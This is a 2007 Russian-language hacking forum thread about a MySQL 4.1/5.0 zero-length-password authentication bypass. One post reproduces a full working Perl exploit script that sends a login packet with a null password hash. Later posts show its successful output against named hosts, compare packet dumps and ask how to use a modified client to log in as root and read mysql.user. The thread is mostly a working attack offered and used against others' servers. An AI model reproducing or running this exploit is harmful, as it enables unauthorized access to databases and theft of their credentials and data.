MySQL 4.1/5.0 zero-length password auth. bypass - modified MySQL client

Discussion in 'PHP' started by guest3297, 29 Jan 2007.

  1. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    У кого есть эта штучка?
    MySQL 4.1/5.0 zero-length password auth. bypass - modified MySQL client

    Автор r57 искал в нете везде битые ссылки.
     
  2. ettee

    ettee Administrator
    Staff Member

    Joined:
    12 Oct 2006
    Messages:
    466
    Likes Received:
    1,036
    Reputations:
    1,065
    MySQL 4.1/5.0 zero-length password auth. bypass - modified MySQL client

    Download

    and

    MySQL 4.1/5.0 zero-length password auth. bypass Exploit
    Code:
     #!/usr/bin/perl
    #
    # The script connects to MySQL and attempts to log in using a zero-length password
    # Based on the vuln found by NGSSecurity
    #
    # The following Perl script can be used to test your version of MySQL. It will display
    # the login packet sent to the server and it's reply.
    #
    # Exploit copyright (c) 2004 by Eli Kara, Beyond Security
    # elik beyondsecurity com
    #
    use strict;
    use IO::Socket::INET;
    usage() unless ((@ARGV >= 1) || (@ARGV <= 3));
    my $username = shift(@ARGV);
    my $host = shift(@ARGV);
    if (!$host)
    {
    usage();
    }
    my $port = shift(@ARGV);
    if (!$port)
    {
    $port = 3306; print "Using default MySQL port (3306)n";
    }
    # create the socket
    my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);
    $socket or die "Cannot connect to host!n";
    # receive greeting
    my $reply;
    recv($socket, $reply, 1024, 0);
    if (length($reply) < 7)
    {
    print "Not allowed to connect to MySQL!n";
    exit(1);
    }
    print "Received greeting:n";
    HexDump($reply);
    print "n";
    # here we define the login OK reply
    # my $login_ok = "x01x00x00x02xFE";
    # break the username string into chars and rebuild it
    my $binuser = pack("C*", unpack("C*", $username));
    # send login caps packet with password
    my $packet = "x85xa6".
    "x03x00x00".
    "x00".
    "x00x01x08x00x00x00". # capabilities, max packet, etc..
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00".
    "x00x00x00x00".$binuser."x00x14x00x00x00x00". # username and pword hash length + NULL hash
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"; # continue NULL hash
    substr($packet, 0, 0) = pack("C1", length($packet)) . "x00x00x01"; # MySQL message length + packet number (1)
    print "Sending caps packet:n";
    HexDump($packet);
    print "n";
    send $socket, $packet, 0;
    # receive reply
    recv($socket, $reply, 1024, 0);
    print "Received reply:n";
    HexDump($reply);
    my @list_bytes = unpack("C*", $reply);
    #print "The fifth byte is: ", $list_bytes[4], "n";
    if (length(@list_bytes) >= 4)
    {
    print "Response insufficentn";
    }
    #if ($reply eq $login_ok)
    if ($list_bytes[4] == 0 || $list_bytes[4] == 254)
    {
    print "Received OK reply, authentication successful!!n";
    }
    else
    {
    print "Authentication failed!n";
    }
    # close
    close($socket);
    sub usage
    {
    # print usage information
    print "nUsage: mysql_auth_bypass_zeropass.pl <username> <host> [port]n
    <username> - The DB username to authenticate as
    <host> - The host to connect to
    [port] - The TCP port which MySQL is listening on (optional, default is 3306)nn";
    exit(1);
    }
    ###
    # do a hexdump of a string (assuming it's binary)
    ###
    sub HexDump
    {
    my $buffer = $_[0];
    # unpack it into chars
    my @up = unpack("C*", $buffer);
    my $pos=0;
    # calculate matrix sizes
    my $rows = int(@up/16);
    my $leftover = int(@up%16);
    for( my $row=0; $row < $rows ; $row++, $pos+=16)
    {
    printf("%08Xt", $pos);
    my @values = @up[$pos .. $pos+15];
    my @line;
    foreach my $val (@values)
    {
    push(@line, sprintf("%02X", $val));
    }
    print join(' ', @line), "n";
    }
    # print last line
    printf("%08Xt", $pos);
    my @values = @up[$pos .. $pos+$leftover-1];
    my @line;
    foreach my $val (@values)
    {
    push(@line, sprintf("%02X", $val));
    }
    print join(' ', @line), "n";
    } 
     
    _________________________
    #2 ettee, 29 Jan 2007
    Last edited: 29 Jan 2007
    1 person likes this.
  3. Ig-FoX

    Ig-FoX Elder - Старейшина

    Joined:
    28 Jul 2005
    Messages:
    60
    Likes Received:
    7
    Reputations:
    -2
    Это локальный или удаленный?
     
  4. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    934
    Likes Received:
    394
    Reputations:
    261
    use IO::Socket::INET;
    А ты как думаешь?
     
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    2Ig-FoX
    Удаленный.
     
  6. Ig-FoX

    Ig-FoX Elder - Старейшина

    Joined:
    28 Jul 2005
    Messages:
    60
    Likes Received:
    7
    Reputations:
    -2
    Тоесть при его использувании я поднимаю права на сервере воще или только доступ к бд?
    Єсли есть где описание подкинте плз!!!
     
  7. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Чувак с твоими знаниями ты нечего не поднимишь...
    Описание найти можно самому.

    Если ты поднимаешь права то с каких на какие??? :)

     
  8. Ig-FoX

    Ig-FoX Elder - Старейшина

    Joined:
    28 Jul 2005
    Messages:
    60
    Likes Received:
    7
    Reputations:
    -2
    2[ cash ]
    Просто не все родились такими умными как ты!!!
    Да согласен я здесь чуток не внимательный!
     
  9. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    НУ можно просто название прочитать сплойтов...
     
  10. j0ze

    j0ze New Member

    Joined:
    6 Oct 2006
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    протестил сплойт на уязвимой машине

    C:\>perl 1.pl root somehost.com 3306
    Received greeting:
    00000000 37 00 00 00 0A 34 2E 31 2E 31 34 2D 6E 74 00 22
    00000010 00 00 00 56 5C 4B 41 44 73 38 5A 00 2C A2 08 02
    00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3E 65
    00000030 64 44 65 52 49 57 5B 43 7D 6A 00

    Sending caps packet:
    00000000 3A 00 00 01 85 A6 03 00 00 00 00 01 08 00 00 00
    00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    00000020 00 00 00 00 72 6F 6F 74 00 14 00 00 00 00 00 00
    00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00

    Received reply:
    00000000 01 00 00 02 FE
    Received OK reply, authentication successful!!

    ======

    подскажите плиз как мне теперь зайти на уязвимый mysql и увидеть результат команды SELECT * FROM mysql.user WHERE user='root' ?????

    дело в том что через стандартные mysql клиенты я не могу заместо паса нулевое значение подставить... а через сокет как в скрипте - я не знаю как сделать..
     
  11. [Raz0r]

    [Raz0r] Elder - Старейшина

    Joined:
    25 Feb 2007
    Messages:
    425
    Likes Received:
    484
    Reputations:
    295
    Дык ettee выложил уже модифицированный клиент MySQL, посмотри чуть выше сплоита!
     
  12. j0ze

    j0ze New Member

    Joined:
    6 Oct 2006
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    только он не пашет почемуто.. затестил на двух хостах с mysql версии 4.1.20

    сам эксп дает добро "Received OK reply, authentication successful!!" а если через модифицированый клиент то

    C:\>mysql.exe -uroot -ptrash
    ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: Y
    ES)

    и вообще странно.. если тестить через скрипт отснифаный пакет авторизации такой

    Code:
    0x0000   3A 00 00 01 85 A2 00 00-00 00 00 01 08 00 00 00   :...…¢..........
    0x0010   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
    0x0020   00 00 00 00 72 6F 6F 74-00 14 00 00 00 00 00 00   ....root........
    0x0030   00 00 00 00 00 00 00 00-00 00 00 00 00 00         ..............
    
    т.е в конце одни нулевые байты. так и должно быть т.к это все нулёный хеш

    "\x00\x00\x00\x00".$binuser."\x00\x14\x00\x00\x00\x00". # username and pword hash length + NULL hash
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; # continue NULL hash

    а когда логаешься через этот модифицированый клиент вот что получается

    Code:
    0x0000   3A 00 00 01 85 A6 03 00-00 00 00 01 08 00 00 00   :...…¦..........
    0x0010   00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
    0x0020   00 00 00 00 72 6F 6F 74-00 14 00 00 00 00 00 00   ....root........
    0x0030   80 0F A2 00 9C FD 12 00-38 24 44 00 AC FD         ?.¢.œý..8$D.¬ý
    
    у кого-нибудь вообще получалось этим клиентом порутать mysql?
     
    #12 j0ze, 15 Aug 2007
    Last edited: 15 Aug 2007
    1 person likes this.
  13. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Получалось.
     
  14. j0ze

    j0ze New Member

    Joined:
    6 Oct 2006
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    в этом клиенте чето не так.. потому что в случае правильной авторизации mysql отвечает это

    Code:
    0x0000   01 00 00 02 FE                                    ....þ
    
    и от тестового скрипта ответ такойже.. тобишь положительный. это значит что все 2 хоста на которых я тестил эксп уязвимы а этот модифированый клиент не пашет....

    скорей всего проблема в том что

    0x0030 80 0F A2 00 9C FD 12 00-38 24 44 00 AC FD ------- нада заменить на
    0x0030 00 00 00 00 00 00 00 00-00 00 00 00 00 00

    тока вот как это сделать хз.. есть спецы по этой части?